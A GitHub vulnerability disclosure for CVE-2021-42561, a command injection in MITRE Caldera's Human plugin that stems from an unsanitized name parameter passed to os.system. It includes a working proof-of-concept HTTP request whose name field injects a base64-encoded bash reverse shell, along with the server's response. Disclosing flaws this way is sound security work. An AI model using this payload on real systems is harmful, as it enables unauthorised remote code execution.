Skip to content
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Disclosures/CVE-2021-42561-Command Injection Via the Human Plugin-MITRE Caldera/
Disclosures/CVE-2021-42561-Command Injection Via the Human Plugin-MITRE Caldera/

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
 
 
 
 

CVE-2021-42561: Command Injection Via the Human Plugin in MITRE Caldera

In Caldera (versions <=2.8.1) the Human plugin passes the unsanitized name parameter to a python "os.system" function. This allow attackers to use shell metacharacters (E.g. backticks "``" or dollar parenthesis "$()" ) in order to escape the current command and execute arbitrary shell commands.

Software:

The MITRE Caldera software can be found here.

Requirements:

This vulnerability requires:

  • Valid user credentials

Proof Of Concept:

In order to validate the presence of the vulnerability and to visualise it easier, a few python "print" functions have been inserted in the vulnerable python file "plugins/human/app/human_svc.py".

It can be observed that the name inserted via the web interface does not get sanitized and is passed directly to "os.system".

The following HTTP request was used to obtain a reverse shell (in this case on port 5555 localhost).

Request:

POST /plugin/human/api HTTP/1.1
Host: 192.168.243.180:8888
Content-Type: application/json
Content-Length: 261
Cookie: API_SESSION="gAAAAABflyHPOgBzo23QDlLIjKrH8HRnuAw0qAV1Fd1-OTOoGkREAdaqgPUUQUJHIB9R3aEa1YQjSJ3J4-HJ7VDYOTgBr68z9AiJGs98Ut_5bIyHDz5NDL4CllRLdb_nOM7eSVZAPlrC-vybuI3UyhSNTDJ67zJj-A=="

{"index":"build_human","platform":"linux","name":"$(bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNTU1NSAwPiYxCg==}|{base64,-d}|bash')","task_cluster_interval":"500","task_interval":"10","task_count":"5","tasks":["ExecuteCommand"],"extra":["anything"]}

Response:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 345
Date: Mon, 26 Oct 2020 19:35:59 GMT
Server: Python/3.6 aiohttp/3.6.2
Connection: close

{"name": "$(bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNTU1NSAwPiYxCg==}|{base64,-d}|bash')", "platform": "linux", "task_interval": "10", "task_cluster_interval": "500", "tasks_per_cluster": "5", "extra": ["anything"], "workflows": [{"name": "ExecuteCommand", "description": "Execute Custom Commands", "file": "execute_command.py"}]}

Result: